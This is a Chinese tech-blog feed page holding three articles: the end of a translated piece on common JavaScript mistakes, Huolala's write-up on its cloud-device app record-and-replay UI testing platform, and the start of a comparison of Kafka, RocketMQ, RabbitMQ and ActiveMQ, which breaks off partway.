console.log(" \t\r\n" == 0);
console.log('' == 0);

// 这些也是 true!
if ({}) // ...
if ([]) // ...

关于最后两个,尽管是空的(这可能会让您相信它们求值为 false),但 {}[] 实际上都是对象,并且 JS 中任何对象都将被强制转换为 true,这与 ECMA-262 规范一致。


正如这些例子所表明的,强制类型转换的规则有时可以像泥巴一样清晰。因此,除非明确需要强制类型转换,否则通常最好使用 ===!==(而不是 ==!=)以避免强制类型转换的任何意外副作用。(==!= 比较两个东东时会自动执行类型转换,而 ===!== 在不进行类型转换的情况下执行同款比较。)


由于我们谈论的是强制类型转换和比较,因此值得一提的是,NaN 与任何事物(甚至 NaN 自己!)进行比较始终会返回 false。因此您不能使用相等运算符( =====!=!==)来确定值是否为 NaN。请改用内置的全局 isNaN() 函数:


console.log(NaN == NaN) // False
console.log(NaN === NaN) // False
console.log(isNaN(NaN)) // True

问题 5:低效的 DOM 操作


JS 使得操作 DOM 相对容易(即添加、修改和删除元素),但对提高操作效率没有任何作用。


一个常见的示例是一次添加一个 DOM 元素的代码。添加 DOM 元素是一项代价昂贵的操作,连续添加多个 DOM 元素的代码效率低下,并且可能无法正常工作。


当需要添加多个 DOM 元素时,一个有效的替代方案是改用文档片段(document fragments),这能提高效率和性能。


举个栗子:


const div = document.getElementById('my_div')
const fragment = document.createDocumentFragment()
const elems = document.querySelectorAll('a')

for (let e = 0; e < elems.length; e++) {
fragment.appendChild(elems[e])
}
div.appendChild(fragment.cloneNode(true))

除了这种方法固有的提高效率之外,创建附加的 DOM 元素代价昂贵,而在分离时创建和修改它们,然后附加它们会产生更好的性能。


问题 6:在 for 循环中错误使用函数定义


请瞄一眼下述代码:


var elements = document.getElementsByTagName('input')
var n = elements.length // 我们假设本例有 10 个元素
for (var i = 0; i < n; i++) {
elements[i].onclick = function () {
console.log('This is element #' + i)
}
}

根据上述代码,如果有 10 个输入元素,单击其中任何一个都会显示“This is element #10”!这是因为,在为任何元素调用 onclick 时,上述 for 循环将完成,并且 i 的值已经是 10(对于所有元素)。


以下是我们如何纠正此问题,实现所需的行为:


var elements = document.getElementsByTagName('input')
var n = elements.length // 我们假设本例有 10 个元素
var makeHandler = function (num) {
// 外部函数
return function () {
// 内部函数
console.log('This is element #' + num)
}
}
for (var i = 0; i < n; i++) {
elements[i].onclick = makeHandler(i + 1)
}

在这个修订版代码中,每次我们通过循环时,makeHandler 都会立即执行,每次都会接收当时 i + 1 的值并将其绑定到作用域的 num 变量。外部函数返回内部函数(也使用此作用域的 num 变量),元素的 onclick 会设置为该内部函数。这确保每个 onclick 接收和使用正确的 i 值(通过作用域的 num 变量)。


问题 7:误用原型式继承


令人惊讶的是,一大坨 JS 爱好者无法完全理解和充分利用原型式继承的特性。


下面是一个简单的示例:


BaseObject = function (name) {
if (typeof name !== 'undefined') {
this.name = name
} else {
this.name = 'default'
}
}

这似乎一目了然。如果您提供一个名称,请使用该名称,否则将名称设置为“default”。举个栗子:


var firstObj = new BaseObject()
var secondObj = new BaseObject('unique')

console.log(firstObj.name) // -> 结果是 'default'
console.log(secondObj.name) // -> 结果是 'unique'

但是,如果我们这样做呢:


delete secondObj.name

然后我们会得到:


console.log(secondObj.name) // -> 结果是 'undefined'

骚然但是,将其恢复为“default”不是更好吗?如果我们修改原始代码以利用原型式继承,这很容易实现,如下所示:


BaseObject = function (name) {
if (typeof name !== 'undefined') {
this.name = name
}
}

BaseObject.prototype.name = 'default'

在此版本中,BaseObject 从其 prototype 对象继承该 name 属性,其中该属性(默认)设置为 'default'。因此,如果调用构造函数时没有名称,那么名称将默认为 default。同样,如果从 BaseObject 的实例删除该 name 属性,那么会搜索原型链,并从 prototype 对象中检索值仍为 'default'name 属性。所以现在我们得到:


var thirdObj = new BaseObject('unique')
console.log(thirdObj.name) // -> 结果是 'unique'

delete thirdObj.name
console.log(thirdObj.name) // -> 结果是 'default'

问题 8:创建对实例方法的错误引用


让我们定义一个简单对象,并创建它的实例,如下所示:


var MyObjectFactory = function () {}

MyObjectFactory.prototype.whoAmI = function () {
console.log(this)
}

var obj = new MyObjectFactory()

现在,为了方便起见,让我们创建一个 whoAmI 方法的引用,大概这样我们就可以通过 whoAmI() 访问它,而不是更长的 obj.whoAmI()


var whoAmI = obj.whoAmI

为了确保我们存储了函数的引用,让我们打印出新 whoAmI 变量的值:


console.log(whoAmI)

输出:


function () {
console.log(this);
}

目前它看起来不错。


但是瞄一眼我们调用 obj.whoAmI() 与便利引用 whoAmI() 时的区别:


obj.whoAmI() // 输出 "MyObjectFactory {...}" (预期)
whoAmI() // 输出 "window" (啊这!)

哪里出了问题?我们的 whoAmI() 调用位于全局命名空间中,因此 this 设置为 window(或在严格模式下设置为 undefined),而不是 MyObjectFactoryobj 实例!换而言之,该 this 值通常取决于调用上下文。


箭头函数((params) => {} 而不是 function(params) {})提供了静态 this,与常规函数基于调用上下文的 this 不同。这为我们提供了一个技术方案:


var MyFactoryWithStaticThis = function () {
this.whoAmI = () => {
// 请注意此处的箭头符号
console.log(this)
}
}

var objWithStaticThis = new MyFactoryWithStaticThis()
var whoAmIWithStaticThis = objWithStaticThis.whoAmI

objWithStaticThis.whoAmI() // 输出 "MyFactoryWithStaticThis" (同往常一样)
whoAmIWithStaticThis() // 输出 "MyFactoryWithStaticThis" (箭头符号的福利)

您可能已经注意到,即使我们得到了匹配的输出,this 也是对工厂的引用,而不是对实例的引用。与其试图进一步解决此问题,不如考虑根本不依赖 this(甚至不依赖 new)的 JS 方法。


问题 9:提供一个字符串作为 setTimeout or setInterval 的首参


首先,让我们在这里明确一点:提供字符串作为首个参数给 setTimeout 或者 setInterval 本身并不是一个错误。这是完全合法的 JS 代码。这里的问题更多的是性能和效率。经常被忽视的是,如果将字符串作为首个参数传递给 setTimeoutsetInterval,它将被传递给函数构造函数以转换为新函数。这个过程可能缓慢且效率低下,而且通常非必要。


将字符串作为首个参数传递给这些方法的替代方法是传入函数。让我们举个栗子。


因此,这里将是 setIntervalsetTimeout 的经典用法,将字符串作为首个参数传递:


setInterval('logTime()', 1000)
setTimeout("logMessage('" + msgValue + "')", 1000)

更好的选择是传入一个函数作为初始参数,举个栗子:


setInterval(logTime, 1000) // 将 logTime 函数传给 setInterval

setTimeout(function () {
// 将匿名函数传给 setTimeout
logMessage(msgValue) // (msgValue 在此作用域中仍可访问)
}, 1000)

问题 10:禁用“严格模式”


“严格模式”(即在 JS 源文件的开头包含 'use strict';)是一种在运行时自愿对 JS 代码强制执行更严格的解析和错误处理的方法,也是一种使代码更安全的方法。


诚然,禁用严格模式并不是真正的“错误”,但它的使用越来越受到鼓励,省略它越来越被认为是不好的形式。


以下是严格模式的若干主要福利:



  • 更易于调试。本来会被忽略或静默失败的代码错误现在将生成错误或抛出异常,更快地提醒您代码库中的 JS 问题,并更快地将您定位到其源代码。

  • 防止意外全局变量。如果没有严格模式,将值赋值给给未声明的变量会自动创建同名全局变量。这是最常见的 JS 错误之一。在严格模式下,尝试这样做会引发错误。

  • 消除 this 强制类型转换。如果没有严格模式,对 nullundefined 值的 this 引用会自动强制转换到 globalThis 变量。这可能会导致一大坨令人沮丧的 bug。在严格模式下,nullundefined 值的 this 引用会抛出错误。

  • 禁止重复的属性名或参数值。严格模式在检测到对象中的重名属性(比如 var object = {foo: "bar", foo: "baz"};)或函数的重名参数(比如 function foo(val1, val2, val1){})时会抛出错误,从而捕获代码中几乎必然出错的 bug,否则您可能会浪费大量时间进行跟踪。

  • 更安全的 eval()。严格模式和非严格模式下 eval() 的行为存在某些差异。最重要的是,在严格模式下,eval() 语句中声明的变量和函数不会在其包裹的作用域中创建。(它们在非严格模式下是在其包裹的作用域中创建的,这也可能是 JS 问题的常见来源。)

  • delete 无效使用时抛出错误delete 运算符(用于删除对象属性)不能用于对象的不可配置属性。当尝试删除不可配置属性时,非严格代码将静默失败,而在这种情况下,严格模式将抛出错误。


使用更智能的方法缓解 JS 问题


与任何技术一样,您越能理解 JS 奏效和失效的原因和方式,您的代码就会越可靠,您就越能有效地利用语言的真正力量。


相反,缺乏 JS 范式和概念的正确理解是许多 JS 问题所在。彻底熟悉语言的细微差别和微妙之处是提高熟练度和生产力的最有效策略。


您现在收看的是前端翻译计划,学废了的小伙伴可以订阅此专栏合集,我们每天佛系投稿,欢迎持续关注前端生态。谢谢大家的点赞,掰掰~


26-cat.gif


作者:人猫神话
来源:juejin.cn/post/7306040473542508556
收起阅读 »

货拉拉App录制回放的探索与实践

作者简介:徐卓毅Joe,来自货拉拉/技术中心/质量保障部,专注于移动测试效能方向。 一、背景与目标 近些年货拉拉的业务持续高速发展,为了满足业务更短周期、更高质量交付的诉求,从今年开始我们的移动App的迭代交付模型也从双周演化为单周。因此,在一周一版的紧张节...
继续阅读 »

作者简介:徐卓毅Joe,来自货拉拉/技术中心/质量保障部,专注于移动测试效能方向。



一、背景与目标


近些年货拉拉的业务持续高速发展,为了满足业务更短周期、更高质量交付的诉求,从今年开始我们的移动App的迭代交付模型也从双周演化为单周。因此,在一周一版的紧张节奏下,随之而来的对测试质量保障的挑战也日益增加,首当其冲要解决的就是如何降低移动App每周版本回归测试的人力投入。


早期我们尝试过基于Appium框架编写UI自动化测试脚本,并且为了降低编写难度,我们也基于Appium框架进行了二次开发,但实践起来依然困难重重,主要原因在于:




  1. 上手和维护成本高



    • 需要掌握一定基础知识才能编写脚本和排查过程中遇到的问题;

    • 脚本编写+调试耗时长,涉及的元素定位+操作较多,调试要等待脚本执行回放才能看到结果;

    • 排查成本高,由于UI自动化测试的稳定性低,需投入排查的脚本较多,耗时长;

    • 维护成本高,每个迭代的需求改动都可能导致页面元素或链路调整,需不定期维护;




  2. 测试脚本稳定性低



    • 容易受多种因素(服务端环境、手机环境等)影响,这也造成了问题排查和溯源困难;

    • 脚本本身的稳定性低,模拟手工操作的方式,但实际操作点击没有那么智能;

      • 脚本识别元素在不同分辨率、不同系统版本上,识别的速度及准确度不同;

      • 不同设备在某些操作上表现,例如缩放(缩放多少)、滑动(滑动多少)有区别;

      • 由于功能复杂性、不同玩法的打断(如广告、弹窗、ab实验等);






所以,在App UI自动化测试上摸爬滚打一段时间后,我们积累了大量的踩坑经验。但这些经验也让我们更加明白,如果要大规模推行App UI自动化测试,必须要提高自动化ROI,否则很难达到预期效果,成本收益得不偿失。


我们的目标是打造一个低成本、高可用的App UI自动化测试平台。它需要满足如下条件:



  1. 更低的技术门槛:上手简单,无需环境配置;

  2. 更快的编写速度:无需查找控件,手机上操作后就能生成一条可执行的测试脚本;

  3. 更小的维护成本: 支持图像识别,减少由于控件改动导致的问题;

  4. 更高的稳定性: 回放识别通过率高,降低环境、弹窗的影响;

  5. 更好的平台功能: 支持脚本管理、设备调度、测试报告等能力,提升执行效率,降低排查成本;


二、行业方案


image.png


考虑到自动化ROI,我们基本确定要使用基于录制回放方式的自动化方案,所以我们也调研了美团、爱奇艺、字节、网易这几个公司的测试工具平台的实现方案:



  1. 网易Airtest是唯一对外发布的工具,但免费版本是IDE编写的,如果是小团队使用该IDE录制UI脚本来说还是比较方便的,但对于多团队协同,以及大规模UI自动化的实施的需求来说,其脚本管理、设备调度、实时报告等平台化功能的支持还不满足。

  2. 美团AlphaTest上使用的是App集成SDK的方式,可以通过底层Hook能力采集到操作数据、网络数据等更为详尽的内容,也提供了API支持业务方自定义实现,如果采用这种方案,移动研发团队的配合是很重要的。

  3. 爱奇艺的方案是在云真机的基础上,使用云IDE的方式进行录制,重点集成了脚本管理、设备调度、实时报告等平台化功能,这种方案的优势在于免去开发SDK的投入,可以做成通用能力服务于各业务App。

  4. 字节SmartEye也是采用集成SDK的方式,其工具本身更聚焦精准测试的能力建设,而精准测试当前货拉拉也在深入实践中,后续有机会我们再详细介绍。


综上分析,如果要继续推行App UI自动化测试,我们也需要自研测试平台,最好是能结合货拉拉现有的业务形态和能力优势,用最低的自研方案成本,快速搭建起适合我们的App录制回放测试平台,这样就能更快推动实践,降低业务测试当前面临的稳定性保障的压力。


三、能力建设


image.png


货拉拉现有的能力优势主要有:



  1. 货拉拉的云真机建设上已有成熟的经验(感兴趣的读者可参见文章《货拉拉云真机平台的演进与实践》);

  2. 货拉拉在移动App质效上已有深入实践,其移动云测平台已沉淀了多维度的自动化测试服务(如性能、兼容性、稳定性、健壮性、遍历、埋点等),具备比较成熟的平台能力。


因此,结合多方因素,最终我们选择了基于云真机开展App UI录制回放的方案,在借鉴其他公司优秀经验的基础上,结合我们对App UI自动化测试过程中积累的宝贵经验,打造了货拉拉App云录制回放测试平台。


下面我们会按录制能力、回放能力、平台能力三大部分进行介绍。


3.1 录制能力


录制流程从云真机的操作事件开始,根据里面的截图和操作坐标解析操作的控件,最终将操作转化为脚本里的单个步骤。并且支持Android和iOS双端,操作数据上报都是用旁路上报的方式,不会阻塞在手机上的操作。


image.png
下面是我们当前基于云真机录制的效果:



  在录制的过程中,其目标主要有:



  1. 取到当前操作的类型 点击、长按、输入、滑动等;

  2. 取到操作的目标控件 按钮、标签栏、文本框等;


3.1.1 云真机旁路上报&事件解析


  首先要能感知到用户在手机上做了什么操作,当我们在页面上使用云真机时,云真机后台可以监控到最原始的屏幕数据,不同操作的数据流如下:


// 点击
d 0 10 10 50
c
u 0
c
// 长按
d 0 10 10 50
c
<wait in your own code>
u 0
c
// 滑动
d 0 0 0 50
c
<wait in your own code> //需要拖拽加上等待时间
m 0 20 0 50
c
m 0 40 0 50
c
m 0 60 0 50
c
m 0 80 0 50
c
m 0 100 0 50
c
u 0
c

  根据协议我们可以判断每次操作的类型以及坐标,但仅依赖坐标的录制并不灵活,也不能实现例如断言一类的操作,所以拿到控件信息也非常关键。


  一般UI自动化中会dump出控件树,通过控件ID或层级关系定位控件。而dump控件树是一个颇为耗时的动作,普通布局的页面也需要2S左右。



  如果在录制中同时dump控件树,那我们每点击都要等待进度条转完,显然这不是我们想要的体验。而可以和操作坐标一起拿到的还有手机画面的视频流,虽然单纯的截图没有控件信息,但假如截图可以像控件树一样拆分出独立的控件区域,我们就可以结合操作坐标匹配对应控件。


3.1.2 控件/文本检测


  控件区域检测正是深度学习中的目标检测能解决的问题。


  这里我们先简单看一下深度学习的原理以及在目标检测过程中做了什么。


  深度学习原理



深度学习使用了一种被称为神经网络的结构。像人脑中的神经元一样,神经网络中的节点会对输入数据进行处理,然后将结果传递到下一个层级。这种逐层传递和处理数据的方式使得深度学习能够自动学习数据的复杂结构和模式。



  总的来说,深度学习网络逐层提取输入的特征,总结成更抽象的特征,将学习到的知识作为权重保存到网络中。


image.pngimage.png

举个例子,如果我们使用深度学习来学习识别猫的图片,那么神经网络可能会在第一层学习识别图片中的颜色或边缘,第二层可能会识别出特定的形状或模式,第三层可能会识别出猫的某些特征,如猫的眼睛或耳朵,最后,网络会综合所有的特征来确定这张图片是否是猫。


  目标检测任务


  目标检测是深度学习中的常见任务,任务的目标是在图像中识别并定位特定物体。


  在我们的应用场景中,任务的目标自然是UI控件:



  1. 识别出按钮、文本框等控件,可以归类为图标、图片和文本;

  2. 圈定控件的边界范围;


这里我们选用知名的YOLOX目标检测框架,社区里也开放许多了以UI为目标的预训练模型和数据集,因为除了自动化测试外,还有通过UI设计稿生成前端代码等应用场景。


roboflow公开数据集


  下图是使用公开数据集直接推理得到的控件区域,可以看出召回率不高。这是因为公开数据集中国外APP标注数据更多,且APP的UI风格不相似。


示例一示例二

预训练和微调模型


  而最终推理效果依赖数据集质量,这需要我们微调模型。由于目标数据集相似,所以我们只需要在预训练模型基础时,冻结骨干网络,重置最后输出层权重,喂入货拉拉风格的UI数据继续训练,可以得到更适用的模型。


model = dict (backbone=dict (frozen_stages=1 # 表示第一层 stage 以及它之前的所有 stage 中的参数都会被冻结 )) 


通过目标检测任务,我们可以拿到图标类的控件,控件的截图可以作为标识存储。当然,文本类的控件还是转化成文本存储更理想。针对文本的目标检测任务不仅精准度更高,还能提供目标文本的识别结果。我们单独用PaddleOCR再做了一次文本检测识别。


3.1.3 脚本生成


  所有操作最终都会转化为脚本储存,我们自定义了一种脚本格式用来封装不同的UI操作。


  以一次点击为例,操作类型用Click()表示;如果是点击图标类控件,会将图标的截图保存(以及录制时的屏幕相对坐标,用于辅助回放定位),而点击文案则是记录文本。



  操作消抖: 点击、长按和滑动之间通过设置固定的时长消除实际操作时的抖动,我们取系统中的交互动效时长,一般是200~300ms。


  文本输入: 用户实际操作输入文本时分为两种情况,一是进入页面时自动聚焦编辑框,另一种是用户主动激活编辑,都会拉起虚拟键盘。我们在回放时也需要在拉起键盘的情况下输入,才能真实还原键盘事件对页面的影响。


am broadcast -a ADB_INPUT_B64 --es msg "xxx"

  目标分组: 一个页面上可能有多个相同的图标或文案,所以在录制时会聚合相同分组,在脚本中通过下标index(0)区分。


3.2 回放能力


  回放脚本时,则是根据脚本里记录的控件截图和文本,匹配到回放手机上的目标区域,进而执行点击、滑动等操作。这里用到的图像和文本匹配能力也会用在脚本断言里。


image.png


回放效果见下图:



3.2.1 图像匹配


  与文本相比,图标类控件在回放时要应对的变化更多:



  • 颜色不同;

  • 分辨率不同

  • 附加角标等提示;


  在这种场景中,基于特征点匹配的SIFT算法很合适。



尺度不变特征变换(Scale-invariant feature transform, SIFT)是计算机视觉中一种检测、描述和匹配图像局部特征点的方法,通过在不同的尺度空间中检测极值点或特征点(Conrner Point, Interest Point),提取出其位置、尺度和旋转不变量,并生成特征描述子,最后用于图像的特征点匹配。



  对图像做灰度预处理之后能减少颜色带来的噪音,而SIFT的尺度不变特性容忍了分辨率变化,附加的角标不会影响关键特征点的匹配。


  除此之外,为了减低误匹配,我们增加了两个操作:


  RegionMask:在匹配之前,我们也做了控件检测,并作为遮罩层Mask设置到SIFT中,排除错误答案之后的特征点更集中稳定。



  屏蔽旋转不变性:因为不需要在页面上匹配旋转后的目标,所以我们将提取的特征点向量角度统一重置为0。


  sift.detect(image, kpVector, mask);
// 设置角度统一为0,禁用旋转不变性
for (int i = 0; i < kpVector.size(); i++) {
KeyPoint point = kpVector.get(i);
point.angle(0);
...
}
sift.compute(image, kpVector, ret);

3.2.2 文本匹配


  文本匹配很容易实现,在OCR之后做字符串比较可以得到结果。


  但是因为算法本身精准度并不是百分百(OCR识别算法CRNN精准度在80%),遇到长文案时会出现识别错误,我们通过计算与期望文本间的编辑距离容忍这种误差。



  但最常见的还是全角和半角字符间的识别错误,需要把标点符号作为噪音去除。


  还有另一个同样和长文案有关的场景:机型宽度不同时,会出现文案换行展示的情况,这时就不能再去完整匹配,但可以切换到xpath使用部分匹配


//*[contains(@text,'xxx')]

3.2.3 兜底弹窗处理


  突然出现的弹窗是UI自动化中的一大痛点,无论是时机和形式都无法预测,造成的结果是自动化测试中断。



  弹窗又分为系统弹窗和业务弹窗,我们有两种处理弹窗的策略:



  1. Android提供了一个DeviceOwner角色托管设备,并带有一个策略配置(PERMISSION_POLICY_AUTO_GRANT),测试过程中APP申请权限时天宫管家自动授予权限;




  1. 在自动化被中断时,再次检查页面有没有白名单中的弹窗文案,有则触发兜底逻辑,关闭弹窗后,恢复自动化执行。


3.2.4 自动装包授权


  Android碎片化带来的还有不同的装包验证策略,比如OPPO&VIVO系机型就需要输入密码才能安装非商店应用。


  为了保持云真机的环境纯净,我们没有通过获取ROOT授权的方式绕过,而是采用部署在云真机内置的装包助手服务适配了不同机型的装包验证。




3.2.5 数据构造&请求MOCK


  目前为止我们录制到的还只有UI的操作,但场景用例中缺少不了测试数据的准备。
  首先是测试数据构造,脚本中提供一个封装好的动作,调用内部平台数据工厂,通过传入和保存变量能在脚本间传递调用的数据。



  同时脚本还可以关联到APP-MOCK平台,在一些固定接口或特定场景MOCK接口响应。譬如可以固定AB实验配置,又或是屏蔽推送类的通知。



3.1 平台能力


3.3.1 用例编辑&管理


  有实践过UI自动化的人应该有这种感受,在个人电脑搭建一套自动化环境是相当费劲的,更不用说要同时兼顾Android和iOS。


  当前我们已经达成了UI自动化纯线上化这一个小目标,只需要在浏览器中就可以完成UI脚本的编辑、调试和执行。现在正完善更多的线上操作,以Monaco Editor为基础编辑器提供更方便的脚本编辑功能。


image.png


3.3.2 脚本组&任务调度


  为了方便管理数量渐涨的用例,我们通过脚本组的方式分模块组织和执行脚本。每个脚本组可以设置前后置脚本和使用的帐号类别,一个脚本组会作为最小的执行单元发送到手机上执行。



  我们可以将回归场景拆分成若干个组在多台设备上并发执行,大大缩短了自动化用例的执行时间。


四、效果实践


4.1 回归测试提效


App录制回放能力建设完毕后,我们立即在多个业务线推动UI自动化测试实践。我们也专门成立了一支虚拟团队,邀请各团队骨干加入,明确回归测试提效的目标,拉齐认知,统一节奏,以保障UI自动化的大规模实践的顺利落地。




  1. 建立问题同步及虚拟团队管理的相关制度,保障问题的快速反馈和快速解决。




  2. 制定团队的UI测试实践管理规范,指导全体成员按统一的标准去执行,主要包括:



    • 回归用例筛选:按模块维度进行脚本转化,优先覆盖P0用例(占比30%左右);

    • 测试场景设计:设计可以串联合并的场景,这样合并后可提升自动化执行速度;

    • 测试数据准备:自动化账号怎么管理,有哪些推荐的数据准备方案;

    • 脚本编写手册:前置脚本、公共脚本引入规范、断言规范等;

    • 脚本执行策略:脚本/脚本组管理及执行策略,怎样能执行的更快;




image.png


所以,我们在很短的时间内就完成了P0回归测试用例的转化,同时我们还要求:



  1. 回放通过率必须高于90%,避免给业务测试人员造成额外的干扰,增加排查工作量;

  2. 全量场景用例的执行总时长要小于90分钟,充分利用云真机的批量调度能力,快速输出测试报告。而且某种程度来说,还能避开因服务端部署带来的环境问题的影响;


截止目前,我们已经支持10多次单周版本的回归测试,已经可以替代部分手工回归测试工作量,降低测试压力的同时提升了版本发布质量的信心。


4.2 整体测试效能提升


在App UI自动化测试的实施取得突破性进展后,我们开始尝试优化原有性能、兼容、埋点等自动化测试遇到的一些问题,以提升移动App的整体测试效能。



  • App性能自动化测试: 原有的性能测试脚本都是使用基于UI元素定位的方式,每周的功能迭代都或多或少会影响到脚本的稳定性,所以我们的性能脚本早期每周都需要维护。而现在的性能测试脚本通过率一般情况下都是100%,极个别版本才会出现微调脚本的情况。

  • App深度兼容测试: 当涉及移动App测试时,兼容性测试的重要性不言而喻。移动云测平台在很早就已支持了标准兼容测试能力,即结合智能遍历去覆盖更多的App页面及场景,去发现一些基础的兼容测试问题。但随着App UI自动化测试的落地,现在我们已经可以基于大量的UI测试脚本在机房设备上开展深度兼容测试。


机房执行深度兼容测试


  • App 埋点 自动化测试: 高价值埋点的回归测试,以往我们都需要在回归期间去手工额外去触发操作路径,现在则基于UI自动化测试模拟用户操作行为,再结合移动云测平台已有的埋点自动校验+测试结果实时展示的能力,彻底解放人力,实现埋点全流程自动化测试。




  • 接入 CICD 流水线: 我们将核心场景的UI回归用例配CICD流水线中,每当代码合入或者触发构建后,都会自动触发验证流程,如果测试不通过,构建人和相关维护人都能立即收到消息通知,进一步提升了研发协同效率。


流程图 (3).jpg


五、未来展望



“道阻且长,行则将至,行而不辍,未来可期”。——《荀子·修身》



货拉拉App云录制回放测试平台的建设上,未来还有一些可提升的方向:



  1. 迭代优化模型,提升精准度和性能;

  2. 补全数据的录制回放,增加本地配置和缓存的控制;

  3. 探索使用AI大模型的识图能力,辨别APP页面上的UI异常;

  4. 和客户端精准测试结合,推荐未覆盖场景和变更相关用例;


作者:货拉拉技术
来源:juejin.cn/post/7306331307477794867
收起阅读 »

4 种消息队列,如何选型?

大家好呀,我是楼仔。 最近发现很多号主发消息队列的文章,质量参差不齐,相关文章我之前也写过,建议直接看这篇。 这篇文章,主要讲述 Kafka、RabbitMQ、RocketMQ 和 ActiveMQ 这 4 种消息队列的异同,无论是面试,还是用于技术选型,都有...
继续阅读 »

大家好呀,我是楼仔。


最近发现很多号主发消息队列的文章,质量参差不齐,相关文章我之前也写过,建议直接看这篇。


这篇文章,主要讲述 Kafka、RabbitMQ、RocketMQ 和 ActiveMQ 这 4 种消息队列的异同,无论是面试,还是用于技术选型,都有非常强的参考价值。


不 BB,上文章目录:



01 消息队列基础


1.1 什么是消息队列?


消息队列是在消息的传输过程中保存消息的容器,用于接收消息并以文件的方式存储,一个消息队列可以被一个也可以被多个消费者消费,包含以下 3 元素:



  • Producer:消息生产者,负责产生和发送消息到 Broker;

  • Broker:消息处理中心,负责消息存储、确认、重试等,一般其中会包含多个 Queue;

  • Consumer:消息消费者,负责从 Broker 中获取消息,并进行相应处理。



1.2 消息队列模式



  • 点对点模式:多个生产者可以向同一个消息队列发送消息,一个具体的消息只能由一个消费者消费。




  • 发布/订阅模式:单个消息可以被多个订阅者并发的获取和处理。



1.3 消息队列应用场景



  • 应用解耦:消息队列减少了服务之间的耦合性,不同的服务可以通过消息队列进行通信,而不用关心彼此的实现细节。

  • 异步处理:消息队列本身是异步的,它允许接收者在消息发送很长时间后再取回消息。

  • 流量削锋:当上下游系统处理能力存在差距的时候,利用消息队列做一个通用的”载体”,在下游有能力处理的时候,再进行分发与处理。

  • 日志处理:日志处理是指将消息队列用在日志处理中,比如 Kafka 的应用,解决大量日志传输的问题。

  • 消息通讯:消息队列一般都内置了高效的通信机制,因此也可以用在纯的消息通讯,比如实现点对点消息队列,或者聊天室等。

  • 消息广播:如果没有消息队列,每当一个新的业务方接入,我们都要接入一次新接口。有了消息队列,我们只需要关心消息是否送达了队列,至于谁希望订阅,是下游的事情,无疑极大地减少了开发和联调的工作量。


02 常用消息队列


由于官方社区现在对 ActiveMQ 5.x 维护越来越少,较少在大规模吞吐的场景中使用,所以我们主要讲解 Kafka、RabbitMQ 和 RocketMQ。


2.1 Kafka


Apache Kafka 最初由 LinkedIn 公司基于独特的设计实现为一个分布式的提交日志系统,之后成为 Apache 项目的一部分,号称大数据的杀手锏,在数据采集、传输、存储的过程中发挥着举足轻重的作用。


它是一个分布式的,支持多分区、多副本,基于 Zookeeper 的分布式消息流平台,它同时也是一款开源的基于发布订阅模式的消息引擎系统。


重要概念



  • 主题(Topic):消息的种类称为主题,可以说一个主题代表了一类消息,相当于是对消息进行分类,主题就像是数据库中的表。

  • 分区(partition):主题可以被分为若干个分区,同一个主题中的分区可以不在一个机器上,有可能会部署在多个机器上,由此来实现 kafka 的伸缩性。

  • 批次:为了提高效率, 消息会分批次写入 Kafka,批次就代指的是一组消息。

  • 消费者群组(Consumer Gr0up):消费者群组指的就是由一个或多个消费者组成的群体。

  • Broker: 一个独立的 Kafka 服务器就被称为 broker,broker 接收来自生产者的消息,为消息设置偏移量,并提交消息到磁盘保存。

  • Broker 集群:broker 集群由一个或多个 broker 组成。

  • 重平衡(Rebalance):消费者组内某个消费者实例挂掉后,其他消费者实例自动重新分配订阅主题分区的过程。


Kafka 架构


一个典型的 Kafka 集群中包含 Producer、broker、Consumer Gr0up、Zookeeper 集群。


Kafka 通过 Zookeeper 管理集群配置,选举 leader,以及在 Consumer Gr0up 发生变化时进行 rebalance。Producer 使用 push 模式将消息发布到 broker,Consumer 使用 pull 模式从 broker 订阅并消费消息。



Kafka 工作原理


消息经过序列化后,通过不同的分区策略,找到对应的分区。


相同主题和分区的消息,会被存放在同一个批次里,然后由一个独立的线程负责把它们发到 Kafka Broker 上。



分区的策略包括顺序轮询、随机轮询和 key hash 这 3 种方式,那什么是分区呢?


分区是 Kafka 读写数据的最小粒度,比如主题 A 有 15 条消息,有 5 个分区,如果采用顺序轮询的方式,15 条消息会顺序分配给这 5 个分区,后续消费的时候,也是按照分区粒度消费。



由于分区可以部署在多个不同的机器上,所以可以通过分区实现 Kafka 的伸缩性,比如主题 A 的 5 个分区,分别部署在 5 台机器上,如果下线一台,分区就变为 4。


Kafka 消费是通过消费群组完成,同一个消费者群组,一个消费者可以消费多个分区,但是一个分区,只能被一个消费者消费。



如果消费者增加,会触发 Rebalance,也就是分区和消费者需要重新配对


不同的消费群组互不干涉,比如下图的 2 个消费群组,可以分别消费这 4 个分区的消息,互不影响。



2.2 RocketMQ


RocketMQ 是阿里开源的消息中间件,它是纯 Java 开发,具有高性能、高可靠、高实时、适合大规模分布式系统应用的特点。


RocketMQ 思路起源于 Kafka,但并不是 Kafka 的一个 Copy,它对消息的可靠传输及事务性做了优化,目前在阿里集团被广泛应用于交易、充值、流计算、消息推送、日志流式处理、binglog 分发等场景。


重要概念



  • Name 服务器(NameServer):充当注册中心,类似 Kafka 中的 Zookeeper。

  • Broker: 一个独立的 RocketMQ 服务器就被称为 broker,broker 接收来自生产者的消息,为消息设置偏移量。

  • 主题(Topic):消息的第一级类型,一条消息必须有一个 Topic。

  • 子主题(Tag):消息的第二级类型,同一业务模块不同目的的消息就可以用相同 Topic 和不同的 Tag 来标识。

  • 分组(Gr0up):一个组可以订阅多个 Topic,包括生产者组(Producer Gr0up)和消费者组(Consumer Gr0up)。

  • 队列(Queue):可以类比 Kafka 的分区 Partition。


RocketMQ 工作原理


RockerMQ 中的消息模型就是按照主题模型所实现的,包括 Producer Gr0up、Topic、Consumer Gr0up 三个角色。


为了提高并发能力,一个 Topic 包含多个 Queue,生产者组根据主题将消息放入对应的 Topic,下图是采用轮询的方式找到里面的 Queue。


RockerMQ 中的消费群组和 Queue,可以类比 Kafka 中的消费群组和 Partition:不同的消费者组互不干扰,一个 Queue 只能被一个消费者消费,一个消费者可以消费多个 Queue。


消费 Queue 的过程中,通过偏移量记录消费的位置。



RocketMQ 架构


RocketMQ 技术架构中有四大角色 NameServer、Broker、Producer 和 Consumer,下面主要介绍 Broker。


Broker 用于存放 Queue,一个 Broker 可以配置多个 Topic,一个 Topic 中存在多个 Queue。


如果某个 Topic 消息量很大,应该给它多配置几个 Queue,并且尽量多分布在不同 broker 上,以减轻某个 broker 的压力。Topic 消息量都比较均匀的情况下,如果某个 broker 上的队列越多,则该 broker 压力越大。



